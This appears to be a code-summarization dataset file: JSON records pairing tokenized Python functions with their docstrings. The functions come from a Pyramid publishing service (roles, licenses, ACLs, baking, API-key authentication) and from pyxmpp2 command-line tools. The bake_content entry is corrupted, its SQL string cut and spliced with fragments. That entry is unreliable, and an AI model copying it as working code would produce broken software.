{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:GET>',<EOL>accept='<STR_LIT:application/json>', renderer='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def get_accept_role(request):", "body": "publication_id = request.matchdict['<STR_LIT:id>']<EOL>user_id = request.matchdict['<STR_LIT>']<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(publication_id, user_id))<EOL>user_documents = [r[<NUM_LIT:0>] for r in cursor.fetchall()]<EOL><DEDENT><DEDENT>return {'<STR_LIT>': publication_id,<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': user_documents,<EOL>}<EOL>", "docstring": "This produces JSON data for a user (at ``uid``) to view the role(s)\n    they have accepted or will need to accept for a publication (at ``id``).", "id": "f15217:m4"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:POST>',<EOL>accept='<STR_LIT:application/json>', http_cache=<NUM_LIT:0>)<EOL>def post_accept_role(request):", "body": "publication_id = request.matchdict['<STR_LIT:id>']<EOL>uid = request.matchdict['<STR_LIT>']<EOL>post_data = request.json<EOL>accepted = []<EOL>denied = []<EOL>try:<EOL><INDENT>documents = post_data['<STR_LIT>']<EOL>for doc_acceptance in documents:<EOL><INDENT>if doc_acceptance['<STR_LIT>'] is None:<EOL><INDENT>continue<EOL><DEDENT>elif doc_acceptance['<STR_LIT>']:<EOL><INDENT>accepted.append(doc_acceptance['<STR_LIT:id>'])<EOL><DEDENT>else:<EOL><INDENT>denied.append(doc_acceptance['<STR_LIT:id>'])<EOL><DEDENT><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise httpexceptions.BadRequest(\"<STR_LIT>\")<EOL><DEDENT>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>accept_publication_role(cursor, publication_id, uid,<EOL>accepted, True)<EOL>accept_publication_role(cursor, publication_id, uid,<EOL>denied, False)<EOL><DEDENT><DEDENT>location = request.route_url('<STR_LIT>',<EOL>id=publication_id, uid=uid)<EOL>poke_publication_state(publication_id)<EOL>return httpexceptions.HTTPFound(location=location)<EOL>", "docstring": "Allows the user (at ``uid``) to accept the role(s) for\n    a publication (at ``id``).", "id": "f15217:m5"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:POST>',<EOL>renderer='<STR_LIT>', permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:POST>',<EOL>renderer='<STR_LIT>', permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def bake_content(request):", "body": "ident_hash = request.matchdict['<STR_LIT>']<EOL>try:<EOL><INDENT>id, version = split_ident_hash(ident_hash)<EOL><DEDENT>except IdentHashError:<EOL><INDENT>raise httpexceptions.HTTPNotFound()<EOL><DEDENT>if not version:<EOL><INDENT>raise httpexceptions.HTTPBadRequest('<STR_LIT>')<EOL><DEDENT>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\"CT pg_notify('<STR_LIT>',<EOL>odule_ident\": '<STR_LIT>',<EOL>dent_hash\"<STR_LIT>\"'<STR_LIT>'\",<EOL>imestamp\"<STR_LIT>\"'<STR_LIT>'\"}')<EOL>", "docstring": "Invoke the baking process - trigger post-publication", "id": "f15217:m6"}
{"signature": "def declare_api_routes(config):", "body": "add_route = config.add_route<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>add_route('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Declaration of routing", "id": "f15219:m0"}
{"signature": "def declare_browsable_routes(config):", "body": "<EOL>config.add_notfound_view(default_exceptionresponse_view,<EOL>append_slash=True)<EOL>add_route = config.add_route<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>',<EOL>request_method='<STR_LIT:GET>')<EOL>add_route('<STR_LIT>', '<STR_LIT>',<EOL>request_method='<STR_LIT:POST>')<EOL>add_route('<STR_LIT>', '<STR_LIT>',<EOL>request_method='<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>',<EOL>request_method='<STR_LIT:GET>')<EOL>add_route('<STR_LIT>', '<STR_LIT>',<EOL>request_method='<STR_LIT:POST>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>add_route('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Declaration of routes that can be browsed by users.", "id": "f15219:m1"}
{"signature": "def includeme(config):", "body": "config.include('<STR_LIT>')<EOL>config.add_jinja2_renderer('<STR_LIT>')<EOL>config.add_jinja2_renderer('<STR_LIT>')<EOL>config.add_static_view(name='<STR_LIT>', path=\"<STR_LIT>\")<EOL>config.commit()<EOL>from cnxdb.ident_hash import join_ident_hash<EOL>for ext in ('<STR_LIT>', '<STR_LIT>',):<EOL><INDENT>jinja2_env = config.get_jinja2_environment(ext)<EOL>jinja2_env.globals.update(<EOL>join_ident_hash=join_ident_hash,<EOL>)<EOL><DEDENT>declare_api_routes(config)<EOL>declare_browsable_routes(config)<EOL>", "docstring": "Declare all routes.", "id": "f15219:m2"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>request_method='<STR_LIT:GET>',<EOL>accept='<STR_LIT:application/json>', renderer='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def get_license_request(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>user_id = request.matchdict.get('<STR_LIT>')<EOL>args = [uuid_]<EOL>if user_id is not None:<EOL><INDENT>fmt_conditional = \"<STR_LIT>\"<EOL>args.append(user_id)<EOL><DEDENT>else:<EOL><INDENT>fmt_conditional = \"<STR_LIT>\"<EOL><DEDENT>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>try:<EOL><INDENT>license_url = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>raise httpexceptions.HTTPNotFound()<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\".format(fmt_conditional), args)<EOL>acceptances = [r[<NUM_LIT:0>] for r in cursor.fetchall()]<EOL><DEDENT><DEDENT>if user_id is not None:<EOL><INDENT>acceptances = acceptances[<NUM_LIT:0>]<EOL><DEDENT>resp_value = {<EOL>'<STR_LIT>': license_url,<EOL>'<STR_LIT>': acceptances,<EOL>}<EOL>return resp_value<EOL>", "docstring": "Returns a list of those accepting the license.", "id": "f15220:m0"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>permission='<STR_LIT>',<EOL>request_method='<STR_LIT:POST>', accept='<STR_LIT:application/json>', http_cache=<NUM_LIT:0>)<EOL>def post_license_request(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>posted_data = request.json<EOL>license_url = posted_data.get('<STR_LIT>')<EOL>licensors = posted_data.get('<STR_LIT>', [])<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>try:<EOL><INDENT>existing_license_url = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>if request.has_permission('<STR_LIT>'):<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>existing_license_url = None<EOL><DEDENT>else:<EOL><INDENT>raise httpexceptions.HTTPNotFound()<EOL><DEDENT><DEDENT>if existing_license_url is None and license_url is None:<EOL><INDENT>raise httpexceptions.HTTPBadRequest(\"<STR_LIT>\")<EOL><DEDENT>elif (license_url != existing_license_url or<EOL>existing_license_url is None):<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(license_url,))<EOL>try:<EOL><INDENT>cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>raise httpexceptions.HTTPBadRequest(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>upsert_license_requests(cursor, uuid_, licensors)<EOL><DEDENT><DEDENT>resp = request.response<EOL>resp.status_int = <NUM_LIT><EOL>return resp<EOL>", "docstring": "Submission to create a license acceptance request.", "id": "f15220:m1"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>permission='<STR_LIT>',<EOL>request_method='<STR_LIT>', accept='<STR_LIT:application/json>', http_cache=<NUM_LIT:0>)<EOL>def delete_license_request(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>posted_uids = [x['<STR_LIT>'] for x in request.json.get('<STR_LIT>', [])]<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>remove_license_requests(cursor, uuid_, posted_uids)<EOL><DEDENT><DEDENT>resp = request.response<EOL>resp.status_int = <NUM_LIT:200><EOL>return resp<EOL>", "docstring": "Submission to remove a license acceptance request.", "id": "f15220:m2"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>request_method='<STR_LIT:GET>',<EOL>accept='<STR_LIT:application/json>', renderer='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def get_roles_request(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>user_id = request.matchdict.get('<STR_LIT>')<EOL>args = [uuid_]<EOL>if user_id is not None:<EOL><INDENT>fmt_conditional = \"<STR_LIT>\"<EOL>args.append(user_id)<EOL><DEDENT>else:<EOL><INDENT>fmt_conditional = \"<STR_LIT>\"<EOL><DEDENT>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\".format(fmt_conditional), args)<EOL>acceptances = [r[<NUM_LIT:0>] for r in cursor.fetchall()]<EOL>if not acceptances:<EOL><INDENT>if user_id is not None:<EOL><INDENT>raise httpexceptions.HTTPNotFound()<EOL><DEDENT>else:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>try:<EOL><INDENT>cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>raise httpexceptions.HTTPNotFound()<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>resp_value = acceptances<EOL>if user_id is not None:<EOL><INDENT>resp_value = acceptances[<NUM_LIT:0>]<EOL><DEDENT>return resp_value<EOL>", "docstring": "Returns a list of accepting roles.", "id": "f15220:m3"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>permission='<STR_LIT>',<EOL>request_method='<STR_LIT:POST>', accept='<STR_LIT:application/json>', http_cache=<NUM_LIT:0>)<EOL>def post_roles_request(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>posted_roles = request.json<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>try:<EOL><INDENT>cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>if request.has_permission('<STR_LIT>'):<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL><DEDENT>else:<EOL><INDENT>raise httpexceptions.HTTPNotFound()<EOL><DEDENT><DEDENT>try:<EOL><INDENT>upsert_users(cursor, [r['<STR_LIT>'] for r in posted_roles])<EOL><DEDENT>except UserFetchError as exc:<EOL><INDENT>raise httpexceptions.HTTPBadRequest(exc.message)<EOL><DEDENT>upsert_role_requests(cursor, uuid_, posted_roles)<EOL><DEDENT><DEDENT>resp = request.response<EOL>resp.status_int = <NUM_LIT><EOL>return resp<EOL>", "docstring": "Submission to create a role acceptance request.", "id": "f15220:m4"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>permission='<STR_LIT>',<EOL>request_method='<STR_LIT>', accept='<STR_LIT:application/json>', http_cache=<NUM_LIT:0>)<EOL>def delete_roles_request(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>posted_roles = request.json<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>remove_role_requests(cursor, uuid_, posted_roles)<EOL><DEDENT><DEDENT>resp = request.response<EOL>resp.status_int = <NUM_LIT:200><EOL>return resp<EOL>", "docstring": "Submission to remove a role acceptance request.", "id": "f15220:m5"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>request_method='<STR_LIT:GET>',<EOL>accept='<STR_LIT:application/json>', renderer='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def get_acl(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>try:<EOL><INDENT>cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>raise httpexceptions.HTTPNotFound()<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>acl = [r[<NUM_LIT:0>] for r in cursor.fetchall()]<EOL><DEDENT><DEDENT>return acl<EOL>", "docstring": "Returns the ACL for the given content identified by ``uuid``.", "id": "f15220:m6"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>permission='<STR_LIT>',<EOL>request_method='<STR_LIT:POST>', accept='<STR_LIT:application/json>', http_cache=<NUM_LIT:0>)<EOL>def post_acl_request(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>posted = request.json<EOL>permissions = [(x['<STR_LIT>'], x['<STR_LIT>'],) for x in posted]<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>try:<EOL><INDENT>cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>if request.has_permission('<STR_LIT>'):<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL><DEDENT>else:<EOL><INDENT>raise httpexceptions.HTTPNotFound()<EOL><DEDENT><DEDENT>upsert_acl(cursor, uuid_, permissions)<EOL><DEDENT><DEDENT>resp = request.response<EOL>resp.status_int = <NUM_LIT><EOL>return resp<EOL>", "docstring": "Submission to create an ACL.", "id": "f15220:m7"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>permission='<STR_LIT>',<EOL>request_method='<STR_LIT>', accept='<STR_LIT:application/json>', http_cache=<NUM_LIT:0>)<EOL>def delete_acl_request(request):", "body": "uuid_ = request.matchdict['<STR_LIT>']<EOL>posted = request.json<EOL>permissions = [(x['<STR_LIT>'], x['<STR_LIT>'],) for x in posted]<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>remove_acl(cursor, uuid_, permissions)<EOL><DEDENT><DEDENT>resp = request.response<EOL>resp.status_int = <NUM_LIT:200><EOL>return resp<EOL>", "docstring": "Submission to remove an ACL.", "id": "f15220:m8"}
{"signature": "def _formatter_callback_factory():  ", "body": "includes = []<EOL>exercise_url_template = '<STR_LIT>'<EOL>settings = get_current_registry().settings<EOL>exercise_base_url = settings.get('<STR_LIT>', None)<EOL>exercise_matches = [match.split('<STR_LIT:U+002C>', <NUM_LIT:1>) for match in aslist(<EOL>settings.get('<STR_LIT>', '<STR_LIT>'), flatten=False)]<EOL>exercise_token = settings.get('<STR_LIT>', None)<EOL>mathml_url = settings.get('<STR_LIT>', None)<EOL>memcache_servers = settings.get('<STR_LIT>')<EOL>if memcache_servers:<EOL><INDENT>memcache_servers = memcache_servers.split()<EOL><DEDENT>else:<EOL><INDENT>memcache_servers = None<EOL><DEDENT>if exercise_base_url and exercise_matches:<EOL><INDENT>mc_client = None<EOL>if memcache_servers:<EOL><INDENT>mc_client = memcache.Client(memcache_servers, debug=<NUM_LIT:0>)<EOL><DEDENT>for (exercise_match, exercise_field) in exercise_matches:<EOL><INDENT>template = exercise_url_template.format(<EOL>baseUrl=exercise_base_url, field=exercise_field)<EOL>includes.append(exercise_callback_factory(exercise_match,<EOL>template,<EOL>mc_client,<EOL>exercise_token,<EOL>mathml_url))<EOL><DEDENT><DEDENT>return includes<EOL>", "docstring": "Returns a list of includes to be given to `cnxepub.collation.collate`.", "id": "f15221:m0"}
{"signature": "def _get_recipe(recipe_id, cursor):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (recipe_id,))<EOL>return cursor.fetchone()[<NUM_LIT:0>]<EOL>", "docstring": "Returns recipe as a unicode string", "id": "f15221:m1"}
{"signature": "@with_db_cursor<EOL>def bake(binder, recipe_id, publisher, message, cursor):", "body": "recipe = _get_recipe(recipe_id, cursor)<EOL>includes = _formatter_callback_factory()<EOL>binder = collate_models(binder, ruleset=recipe, includes=includes)<EOL>def flatten_filter(model):<EOL><INDENT>return (isinstance(model, cnxepub.CompositeDocument) or<EOL>(isinstance(model, cnxepub.Binder) and<EOL>model.metadata.get('<STR_LIT:type>') == '<STR_LIT>'))<EOL><DEDENT>def only_documents_filter(model):<EOL><INDENT>return isinstance(model, cnxepub.Document)and not isinstance(model, cnxepub.CompositeDocument)<EOL><DEDENT>for doc in cnxepub.flatten_to(binder, flatten_filter):<EOL><INDENT>publish_composite_model(cursor, doc, binder, publisher, message)<EOL><DEDENT>for doc in cnxepub.flatten_to(binder, only_documents_filter):<EOL><INDENT>publish_collated_document(cursor, doc, binder)<EOL><DEDENT>tree = cnxepub.model_to_tree(binder)<EOL>publish_collated_tree(cursor, tree)<EOL>return []<EOL>", "docstring": "Given a `Binder` as `binder`, bake the contents and\n    persist those changes alongside the published content.", "id": "f15221:m2"}
{"signature": "@with_db_cursor<EOL>def remove_baked(binder_ident_hash, cursor):", "body": "<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (binder_ident_hash,))<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (binder_ident_hash,))<EOL>", "docstring": "Given a binder's ident_hash, remove the baked results.", "id": "f15221:m3"}
{"signature": "@cache_manager.cache(expire=<NUM_LIT> * <NUM_LIT> * <NUM_LIT>)  <EOL>def lookup_api_key_info():", "body": "info = {}<EOL>with db_connect() as conn:<EOL><INDENT>with conn.cursor() as cursor:<EOL><INDENT>cursor.execute(ALL_KEY_INFO_SQL_STMT)<EOL>for row in cursor.fetchall():<EOL><INDENT>id, key, name, groups = row<EOL>user_id = \"<STR_LIT>\".format(id)<EOL>info[key] = dict(id=id, user_id=user_id,<EOL>name=name, groups=groups)<EOL><DEDENT><DEDENT><DEDENT>return info<EOL>", "docstring": "Given a dbapi cursor, lookup all the api keys and their information.", "id": "f15222:m0"}
{"signature": "def includeme(config):", "body": "api_key_authn_policy = APIKeyAuthenticationPolicy()<EOL>config.include('<STR_LIT>')<EOL>openstax_authn_policy = config.registry.getUtility(<EOL>IOpenstaxAccountsAuthenticationPolicy)<EOL>policies = [api_key_authn_policy, openstax_authn_policy]<EOL>authn_policy = MultiAuthenticationPolicy(policies)<EOL>config.set_authentication_policy(authn_policy)<EOL>authz_policy = ACLAuthorizationPolicy()<EOL>config.set_authorization_policy(authz_policy)<EOL>", "docstring": "Configuration include fuction for this module", "id": "f15222:m1"}
{"signature": "def _discover_requesting_party(self, request):", "body": "user_id = None<EOL>api_key = request.headers.get('<STR_LIT>', None)<EOL>try:<EOL><INDENT>principal_info = self.user_info_by_key[api_key]<EOL><DEDENT>except KeyError:<EOL><INDENT>principal_info = None<EOL><DEDENT>if principal_info is not None:<EOL><INDENT>user_id = principal_info['<STR_LIT>']<EOL><DEDENT>return api_key, user_id, principal_info<EOL>", "docstring": "With the request object, discover who is making the request.\n        Returns both the api-key and the principal-id", "id": "f15222:c0:m1"}
{"signature": "def effective_principals(self, request):", "body": "api_key, user_id, info = self._discover_requesting_party(request)<EOL>if api_key is None or user_id is None:<EOL><INDENT>return []<EOL><DEDENT>try:<EOL><INDENT>principals = list(info['<STR_LIT>'])<EOL><DEDENT>except TypeError:<EOL><INDENT>principals = []<EOL><DEDENT>principals.append(security.Everyone)<EOL>principals.append(security.Authenticated)<EOL>return principals<EOL>", "docstring": "Return a sequence representing the effective principals\n        including the userid and any groups belonged to by the current\n        user, including 'system' groups such as Everyone and\n        Authenticated.", "id": "f15222:c0:m3"}
{"signature": "def main():", "body": "parser = argparse.ArgumentParser(description = '<STR_LIT>',<EOL>parents = [XMPPSettings.get_arg_parser()])<EOL>parser.add_argument('<STR_LIT>',<EOL>action = '<STR_LIT>', dest = '<STR_LIT>',<EOL>const = logging.DEBUG, default = logging.INFO,<EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', const = logging.ERROR,<EOL>action = '<STR_LIT>', dest = '<STR_LIT>',<EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', action = '<STR_LIT:store_true>',<EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', <EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', metavar = '<STR_LIT>', <EOL>help = '<STR_LIT>')<EOL>subparsers = parser.add_subparsers(help = '<STR_LIT>', dest = \"<STR_LIT:action>\")<EOL>show_p = subparsers.add_parser('<STR_LIT>', help = '<STR_LIT>')<EOL>show_p.add_argument('<STR_LIT>', action = '<STR_LIT:store_true>',<EOL>help = '<STR_LIT>'<EOL>'<STR_LIT>')<EOL>mon_p = subparsers.add_parser('<STR_LIT>', help = <EOL>'<STR_LIT>')<EOL>mon_p.add_argument('<STR_LIT>', action = '<STR_LIT:store_true>',<EOL>help = '<STR_LIT>')<EOL>add_p = subparsers.add_parser('<STR_LIT>', help = '<STR_LIT>')<EOL>add_p.add_argument('<STR_LIT>', action = '<STR_LIT:store_true>', dest = '<STR_LIT>',<EOL>help = '<STR_LIT>')<EOL>add_p.add_argument('<STR_LIT>', action = '<STR_LIT:store_true>', dest = '<STR_LIT>',<EOL>help = '<STR_LIT>'<EOL>'<STR_LIT>')<EOL>add_p.add_argument('<STR_LIT>', metavar = '<STR_LIT>', help = '<STR_LIT>')<EOL>add_p.add_argument('<STR_LIT:name>', metavar = '<STR_LIT>', nargs = '<STR_LIT:?>',<EOL>help = '<STR_LIT>')<EOL>add_p.add_argument('<STR_LIT>', metavar = '<STR_LIT>', nargs = '<STR_LIT:*>',<EOL>help = '<STR_LIT>')<EOL>rm_p = subparsers.add_parser('<STR_LIT>',<EOL>help = '<STR_LIT>')<EOL>rm_p.add_argument('<STR_LIT>', metavar = '<STR_LIT>',<EOL>help = '<STR_LIT>')<EOL>upd_p = subparsers.add_parser('<STR_LIT>', <EOL>help = '<STR_LIT>')<EOL>upd_p.add_argument('<STR_LIT>', metavar = '<STR_LIT>',<EOL>help = '<STR_LIT>')<EOL>upd_p.add_argument('<STR_LIT:name>', metavar = '<STR_LIT>', nargs = '<STR_LIT:?>',<EOL>help = '<STR_LIT>')<EOL>upd_p.add_argument('<STR_LIT>', metavar = '<STR_LIT>', nargs = '<STR_LIT:*>',<EOL>help = '<STR_LIT>')<EOL>args = parser.parse_args()<EOL>settings = XMPPSettings()<EOL>settings.load_arguments(args)<EOL>if settings.get(\"<STR_LIT:password>\") is None:<EOL><INDENT>password = getpass(\"<STR_LIT>\".format(args.jid))<EOL>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>password = password.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>settings[\"<STR_LIT:password>\"] = password<EOL><DEDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>args.jid = args.jid.decode(\"<STR_LIT:utf-8>\")<EOL>if getattr(args, \"<STR_LIT>\", None):<EOL><INDENT>args.contact = args.contact.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>if getattr(args, \"<STR_LIT:name>\", None):<EOL><INDENT>args.name = args.name.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>if getattr(args, \"<STR_LIT>\", None):<EOL><INDENT>args.groups = [g.decode(\"<STR_LIT:utf-8>\") for g in args.groups]<EOL><DEDENT><DEDENT>logging.basicConfig(level = args.log_level)<EOL>if args.trace:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>handler = logging.StreamHandler()<EOL>handler.setLevel(logging.DEBUG)<EOL>for logger in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>logger = logging.getLogger(logger)<EOL>logger.setLevel(logging.DEBUG)<EOL>logger.addHandler(handler)<EOL>logger.propagate = False<EOL><DEDENT><DEDENT>if args.action == \"<STR_LIT>\" or args.action == \"<STR_LIT>\" and args.presence:<EOL><INDENT>settings[\"<STR_LIT>\"] = Presence(priority = -<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>settings[\"<STR_LIT>\"] = None<EOL><DEDENT>tool = RosterTool(JID(args.jid), args, settings)<EOL>try:<EOL><INDENT>tool.run()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>tool.disconnect()<EOL><DEDENT>", "docstring": "Parse the command-line arguments and run the bot.", "id": "f15227:m0"}
{"signature": "def run(self):", "body": "if self.args.roster_cache and os.path.exists(self.args.roster_cache):<EOL><INDENT>logging.info(\"<STR_LIT>\"<EOL>.format(self.args.roster_cache))<EOL>try:<EOL><INDENT>self.client.roster_client.load_roster(self.args.roster_cache)<EOL><DEDENT>except (IOError, ValueError) as err:<EOL><INDENT>logging.error(\"<STR_LIT>\".format(err))<EOL><DEDENT><DEDENT>self.client.connect()<EOL>self.client.run()<EOL>", "docstring": "Request client connection and start the main loop.", "id": "f15227:c0:m1"}
{"signature": "def disconnect(self):", "body": "self.client.disconnect()<EOL>self.client.run(timeout = <NUM_LIT:2>)<EOL>", "docstring": "Request disconnection and let the main loop run for a 2 more\n        seconds for graceful disconnection.", "id": "f15227:c0:m2"}
{"signature": "@event_handler()<EOL><INDENT>def handle_all(self, event):<DEDENT>", "body": "logging.info(\"<STR_LIT>\".format(event))<EOL>", "docstring": "Log all events.", "id": "f15227:c0:m18"}
{"signature": "def main():", "body": "parser = argparse.ArgumentParser(description = '<STR_LIT>',<EOL>parents = [XMPPSettings.get_arg_parser()])<EOL>parser.add_argument('<STR_LIT:source>', metavar = '<STR_LIT>', <EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT:target>', metavar = '<STR_LIT>', nargs = '<STR_LIT:?>',<EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>action = '<STR_LIT>', dest = '<STR_LIT>',<EOL>const = logging.DEBUG, default = logging.INFO,<EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', const = logging.ERROR,<EOL>action = '<STR_LIT>', dest = '<STR_LIT>',<EOL>help = '<STR_LIT>')<EOL>args = parser.parse_args()<EOL>settings = XMPPSettings()<EOL>settings.load_arguments(args)<EOL>if settings.get(\"<STR_LIT:password>\") is None:<EOL><INDENT>password = getpass(\"<STR_LIT>\".format(args.source))<EOL>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>password = password.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>settings[\"<STR_LIT:password>\"] = password<EOL><DEDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>args.source = args.source.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>source = JID(args.source)<EOL>if args.target:<EOL><INDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>args.target = args.target.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>target = JID(args.target)<EOL><DEDENT>else:<EOL><INDENT>target = JID(source.domain)<EOL><DEDENT>logging.basicConfig(level = args.log_level)<EOL>checker = VersionChecker(source, target, settings)<EOL>try:<EOL><INDENT>checker.run()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>checker.disconnect()<EOL><DEDENT>", "docstring": "Parse the command-line arguments and run the tool.", "id": "f15229:m0"}
{"signature": "def run(self):", "body": "self.client.connect()<EOL>self.client.run()<EOL>", "docstring": "Request client connection and start the main loop.", "id": "f15229:c0:m1"}
{"signature": "def disconnect(self):", "body": "self.client.disconnect()<EOL>self.client.run(timeout = <NUM_LIT:2>)<EOL>", "docstring": "Request disconnection and let the main loop run for a 2 more\n        seconds for graceful disconnection.", "id": "f15229:c0:m2"}
{"signature": "@event_handler(AuthorizedEvent)<EOL><INDENT>def handle_authorized(self, event):<DEDENT>", "body": "request_software_version(self.client, self.target_jid,<EOL>self.success, self.failure)<EOL>", "docstring": "Send the initial presence after log-in.", "id": "f15229:c0:m3"}
